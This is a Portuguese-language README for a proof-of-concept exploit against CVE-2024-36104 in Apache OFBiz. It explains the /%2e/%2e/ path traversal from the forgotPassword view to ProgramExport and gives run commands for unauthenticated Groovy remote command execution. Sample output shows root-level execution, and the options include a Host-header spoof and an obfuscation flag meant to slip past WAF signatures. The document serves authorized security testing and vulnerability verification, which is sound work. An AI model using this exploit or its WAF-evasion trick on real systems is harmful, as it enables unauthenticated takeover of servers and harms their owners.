
PoC para CVE-2024-36104 — RCE não autenticado em Groovy no Apache OFBiz (<18.12.14) via /%2e/%2e/ path traversal de view para ProgramExport
Prova de conceito para CVE-2024-36104, uma vulnerabilidade de execução remota de código não autenticada no Apache OFBiz anterior à versão 18.12.14.
O ControlServlet do OFBiz resolve uma view não autenticada (forgotPassword) antes de canonicalizar o caminho da requisição. Anexar /%2e/%2e/ faz o caminho colapsar de volta para /webtools/control/, de modo que a requisição alcança a view ProgramExport sem nunca passar pela verificação de segurança/permissão associada à view original. ProgramExport então executa código Groovy arbitrário, permitindo execução remota de comandos sem autenticação.
O script encapsula o comando em um trecho Groovy que o executa via /usr/bin/bash -lc, envia-o ao endpoint vulnerável e extrai a saída da exceção java.lang.Exception que o OFBiz devolve na resposta HTML.
/%2e/%2e/ de forgotPassword até ProgramExport.groovyProgram ao endpoint vulnerável.Python 3.8+
pip install -r requirements.txt
Pacotes Python necessários:
requests
urllib3
Valores entre colchetes angulares são espaços reservados. Substitua-os pelos seus próprios valores e não inclua os caracteres < ou >.
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # URL base alvo. Exemplo: https://10.129.231.23
<COMMAND> # Comando que o Bash irá interpretar. Exemplo: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
Exemplo de saída:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Valor do cabeçalho Host. Padrão: localhost
--prefix-view <VIEW>
View não autenticada usada antes da travessia /%2e/%2e/. Padrão: forgotPassword
--target-view <VIEW>
View alcançada após a travessia. Padrão: ProgramExport
--endpoint <PATH>
Caminho de endpoint personalizado completo; substitui --prefix-view/--target-view.
--timeout <SECONDS>
Tempo máximo da requisição HTTP. Padrão: 15
--obfuscate
Envia groovyProgram como escapes \uXXXX em vez de texto simples, correspondendo à
codificação usada em write-ups públicos para evitar assinaturas WAF ingênuas.
--show-payload
Exibe o código Groovy gerado antes de enviá-lo.
--show-response
Exibe a resposta HTML completa.
--only-final
Oculta os logs de progresso e exibe apenas a saída do comando.
--no-color
Desativa cores ANSI.
--debug
Ativa registro de diagnóstico adicional.
502, o backend provavelmente não terminou antes do timeout do proxy; o comando ainda pode ser concluído no lado do servidor.--show-response para inspecionar o HTML bruto quando a extração automática falhar.Este PoC destina-se a testes de segurança autorizados, ambientes de laboratório e verificação de vulnerabilidades. Não o utilize contra sistemas sem permissão explícita.